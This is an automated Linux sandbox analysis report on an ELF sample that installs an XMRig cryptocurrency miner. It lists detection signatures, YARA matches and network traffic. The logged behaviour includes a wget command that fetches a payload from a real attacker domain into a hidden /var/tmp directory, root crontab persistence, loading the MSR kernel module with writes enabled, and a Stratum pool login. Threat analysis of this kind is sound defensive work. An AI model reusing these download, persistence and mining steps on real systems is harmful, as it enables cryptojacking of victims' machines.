Linux Analysis Report
.main.elf

Overview

General Information

Sample name: .main.elf
Analysis ID: 1545520
MD5: 1b1445cab8443509f13769a3c479404f
SHA1: 9b1fcc3637f92d8fa281f7ab2243cb382f4be285
SHA256: 864a395c401c668ac8e23aa27eb4bc281e3734d4eafc29178174d79bae48a173
Tags: elfuser-abuse_ch
Infos:

Detection

Xmrig
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Malicious sample detected (through community Yara rule)
Yara detected Xmrig cryptocurrency miner
Detected Stratum mining protocol
Drops invisible ELF files
Executes the "crontab" command typically for achieving persistence
Found strings related to Crypto-Mining
Sample reads /proc/mounts (often used for finding a writable filesystem)
Sample tries to persist itself using cron
Tries to load the MSR kernel module used for reading/writing to CPUs model specific register
Writes ELF files to hidden directories
Writes to CPU model specific registers (MSR) (e.g. miners improve performance by disabling HW prefetcher)
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "grep" command used to find patterns in files or piped streams
Executes the "mkdir" command used to create folders
Executes the "modprobe" command used for loading kernel modules
Executes the "pgrep" command search for and/or send signals to processes
Executes the "rm" command used to delete files or directories
Executes the "sleep" command used to delay execution and potentially evade sandboxes
Executes the "wget" command typically used for HTTP/S downloading
Reads CPU information from /proc indicative of miner or evasive malware
Reads CPU information from /sys indicative of miner or evasive malware
Reads system information from the proc file system
Reads the 'hosts' file potentially containing internal network hosts
Sample has stripped symbol table
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes ELF files to disk
Writes shell script file to disk with an unusual file extension
Yara signature match

Classification

Bitcoin Miner
barindex
Yara detected Xmrig cryptocurrency miner
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: diicot PID: 6257, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: .report_system PID: 6257, type: MEMORYSTR
Source: Yara match File source: /var/tmp/.rcu_gp/.report_system, type: DROPPED
Detected Stratum mining protocol
Source: global traffic TCP traffic: 192.168.2.23:48596 -> 91.184.240.129:80 payload: data raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 62 75 6e 72 61 75 22 2c 22 70 61 73 73 22 3a 22 62 75 6e 72 61 75 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 36 2e 32 31 2e 30 20 28 4c 69 6e 75 78 20 78 38 36 5f 36 34 29 20 6c 69 62 75 76 2f 31 2e 34 34 2e 32 20 67 63 63 2f 37 2e 33 2e 31 22 2c 22 61 6c 67 6f 22 3a 5b 22 72 78 2f 30 22 2c 22 63 6e 2f 32 22 2c 22 63 6e 2f 72 22 2c 22 63 6e 2f 66 61 73 74 22 2c 22 63 6e 2f 68 61 6c 66 22 2c 22 63 6e 2f 78 61 6f 22 2c 22 63 6e 2f 72 74 6f 22 2c 22 63 6e 2f 72 77 7a 22 2c 22 63 6e 2f 7a 6c 73 22 2c 22 63 6e 2f 64 6f 75 62 6c 65 22 2c 22 63 6e 2f 63 63 78 22 2c 22 63 6e 2d 6c 69 74 65 2f 31 22 2c 22 63 6e 2d 68 65 61 76 79 2f 30 22 2c 22 63 6e 2d 68 65 61 76 79 2f 74 75 62 65 22 2c 22 63 6e 2d 68 65 61 76 79 2f 78 68 76 22 2c 22 63 6e 2d 70 69 63 6f 22 2c 22 63 6e 2d 70 69 63 6f 2f 74 6c 6f 22 2c 22 63 6e 2f 75 70 78 32 22 2c 22 63 6e 2f 31 22 2c 22 72 78 2f 77 6f 77 22 2c 22 72 78 2f 61 72 71 22 2c 22 72 78 2f 67 72 61 66 74 22 2c 22 72 78 2f 73 66 78 22 2c 22 72 78 2f 6b 65 76 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 22 2c 22 61 72 67 6f 6e 32 2f 63 68 75 6b 77 61 76 32 22 2c 22 61 72 67 6f 6e 32 2f 6e 69 6e 6a 61 22 2c 22 67 68 6f 73 74 72 69 64 65 72 22 5d 7d 7d 0a data ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"bunrau","pass":"bunrau","agent":"xmrig/6.21.0 (linux x86_64) libuv/1.44.2 gcc/7.3.1","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}
Found strings related to Crypto-Mining
Source: diicot, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp String found in binary or memory: stratum+ssl://randomx.xmrig.com:443
Source: diicot, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp String found in binary or memory: CryptonightR_instruction_mov105
Source: diicot, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp String found in binary or memory: -o, --url=URL URL of mining server
Source: diicot, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp String found in binary or memory: stratum+tcp://
Source: diicot, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp String found in binary or memory: Usage: xmrig [OPTIONS]
Source: diicot, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp String found in binary or memory: XMRig 6.21.0
Tries to load the MSR kernel module used for reading/writing to CPUs model specific register
Source: /bin/sh (PID: 6270) Modprobe: /sbin/modprobe -> /sbin/modprobe msr allow_writes=on Jump to behavior
Writes to CPU model specific registers (MSR) (e.g. miners improve performance by disabling HW prefetcher)
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6263) MSR open for writing: /dev/cpu/0/msr Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6263) MSR open for writing: /dev/cpu/1/msr Jump to behavior
Reads CPU information from /proc indicative of miner or evasive malware
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from proc file: /proc/cpuinfo Jump to behavior
Reads CPU information from /sys indicative of miner or evasive malware
Source: /usr/bin/pgrep (PID: 6256) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/core_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/core_id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/die_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/package_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/physical_package_id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/core_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/core_id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/die_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/package_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/physical_package_id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/possible Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6300) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6311) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6319) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6329) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6335) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6344) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Executes the "wget" command typically used for HTTP/S downloading
Source: /bin/bash (PID: 6233) Wget executable: /usr/bin/wget -> wget http://xkobeimparatu.net/.puscarie/.report_system -O .report_system Jump to behavior
Reads the 'hosts' file potentially containing internal network hosts
Source: /usr/bin/wget (PID: 6233) Reads hosts file: /etc/hosts Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6263) Reads hosts file: /etc/hosts Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /.puscarie/.report_system HTTP/1.1User-Agent: Wget/1.20.3 (linux-gnu)Accept: */*Accept-Encoding: identityHost: xkobeimparatu.netConnection: Keep-Alive
Source: global traffic DNS traffic detected: DNS query: xkobeimparatu.net
Source: global traffic DNS traffic detected: DNS query: xkobeproxy.xkobeimparatu.net
Source: .main.elf String found in binary or memory: https://bugs.launchpad.net/ubuntu/
Source: .report_system, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp String found in binary or memory: https://gcc.gnu.org/bugsterminate
Source: diicot, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, .report_system, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp String found in binary or memory: https://xmrig.com/benchmark/%s
Source: diicot, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, .report_system, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp String found in binary or memory: https://xmrig.com/docs/algorithms
Source: diicot, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, .report_system, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp String found in binary or memory: https://xmrig.com/wizard
Source: diicot, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, .report_system, 6257.1.0000000000400000.0000000000c29000.r-x.sdmp String found in binary or memory: https://xmrig.com/wizard%s
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: dump.pcap, type: PCAP Matched rule: Linux_Cryptominer_Camelot_cdd631c1 Author: unknown
Source: dump.pcap, type: PCAP Matched rule: Linux_Cryptominer_Malxmr_979160f6 Author: unknown
Source: dump.pcap, type: PCAP Matched rule: Linux_Trojan_Pornoasset_927f314f Author: unknown
Source: dump.pcap, type: PCAP Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, type: MEMORY Matched rule: Linux_Cryptominer_Camelot_cdd631c1 Author: unknown
Source: 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, type: MEMORY Matched rule: Linux_Cryptominer_Malxmr_979160f6 Author: unknown
Source: 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Pornoasset_927f314f Author: unknown
Source: 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, type: MEMORY Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: diicot PID: 6257, type: MEMORYSTR Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: .report_system PID: 6257, type: MEMORYSTR Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: /var/tmp/.rcu_gp/.report_system, type: DROPPED Matched rule: Linux_Cryptominer_Camelot_cdd631c1 Author: unknown
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Yara signature match
Source: dump.pcap, type: PCAP Matched rule: Linux_Cryptominer_Camelot_cdd631c1 reference_sample = 91549c171ae7f43c1a85a303be30169932a071b5c2b6cf3f4913f20073c97897, os = linux, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Cryptominer.Camelot, fingerprint = fa174ac25467ab6e0f11cf1f0a5c6bf653737e9bbdc9411aabeae460a33faa5e, id = cdd631c1-2c03-47dd-b50a-e8c0b9f67271, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP Matched rule: Linux_Cryptominer_Malxmr_979160f6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Cryptominer.Malxmr, fingerprint = fb933702578e2cf7e8ad74554ef93c07b610d6da8bc5743cbf86c363c1615f40, id = 979160f6-402a-4e4b-858a-374c9415493b, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP Matched rule: Linux_Trojan_Pornoasset_927f314f reference_sample = d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Pornoasset, fingerprint = 7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf, id = 927f314f-2cbb-4f87-b75c-9aa5ef758599, last_modified = 2021-09-16
Source: dump.pcap, type: PCAP Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, type: MEMORY Matched rule: Linux_Cryptominer_Camelot_cdd631c1 reference_sample = 91549c171ae7f43c1a85a303be30169932a071b5c2b6cf3f4913f20073c97897, os = linux, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Cryptominer.Camelot, fingerprint = fa174ac25467ab6e0f11cf1f0a5c6bf653737e9bbdc9411aabeae460a33faa5e, id = cdd631c1-2c03-47dd-b50a-e8c0b9f67271, last_modified = 2021-09-16
Source: 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, type: MEMORY Matched rule: Linux_Cryptominer_Malxmr_979160f6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Cryptominer.Malxmr, fingerprint = fb933702578e2cf7e8ad74554ef93c07b610d6da8bc5743cbf86c363c1615f40, id = 979160f6-402a-4e4b-858a-374c9415493b, last_modified = 2021-09-16
Source: 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Pornoasset_927f314f reference_sample = d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Pornoasset, fingerprint = 7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf, id = 927f314f-2cbb-4f87-b75c-9aa5ef758599, last_modified = 2021-09-16
Source: 6257.1.0000000000400000.0000000000c29000.r-x.sdmp, type: MEMORY Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: diicot PID: 6257, type: MEMORYSTR Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: .report_system PID: 6257, type: MEMORYSTR Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: /var/tmp/.rcu_gp/.report_system, type: DROPPED Matched rule: Linux_Cryptominer_Camelot_cdd631c1 reference_sample = 91549c171ae7f43c1a85a303be30169932a071b5c2b6cf3f4913f20073c97897, os = linux, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Cryptominer.Camelot, fingerprint = fa174ac25467ab6e0f11cf1f0a5c6bf653737e9bbdc9411aabeae460a33faa5e, id = cdd631c1-2c03-47dd-b50a-e8c0b9f67271, last_modified = 2021-09-16
Source: classification engine Classification label: mal92.troj.evad.mine.linELF@0/7@4/0

Persistence and Installation Behavior
barindex
Executes the "crontab" command typically for achieving persistence
Source: /bin/bash (PID: 6242) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/bash (PID: 6250) Crontab executable: /usr/bin/crontab -> crontab /var/tmp/.rcu_gp/.ps5 Jump to behavior
Source: /bin/bash (PID: 6258) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/bash (PID: 6286) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/bash (PID: 6301) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/bash (PID: 6312) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/bash (PID: 6322) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/bash (PID: 6330) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/bash (PID: 6338) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Sample reads /proc/mounts (often used for finding a writable filesystem)
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) File: /proc/6257/mounts Jump to behavior
Sample tries to persist itself using cron
Source: /usr/bin/crontab (PID: 6250) File: /var/spool/cron/crontabs/tmp.VYCskO Jump to behavior
Source: /usr/bin/crontab (PID: 6250) File: /var/spool/cron/crontabs/root Jump to behavior
Writes ELF files to hidden directories
Source: /usr/bin/wget (PID: 6233) File written to hidden directory: /var/tmp/.rcu_gp/.report_system Jump to dropped file
Creates hidden files and/or directories
Source: /bin/bash (PID: 6231) File: /var/tmp/.rcu_gp/.ps4 Jump to behavior
Source: /bin/bash (PID: 6231) File: /var/tmp/.rcu_gp/.ps5 Jump to behavior
Source: /usr/bin/mkdir (PID: 6232) Directory: /var/tmp/.rcu_gp Jump to behavior
Source: /usr/bin/wget (PID: 6233) File: /var/tmp/.rcu_gp/.report_system Jump to behavior
Source: /usr/bin/crontab (PID: 6250) Directory: /var/tmp/.rcu_gp/.ps5 Jump to behavior
Source: /usr/bin/cat (PID: 6254) Directory: /var/tmp/.rcu_gp/.ps4 Jump to behavior
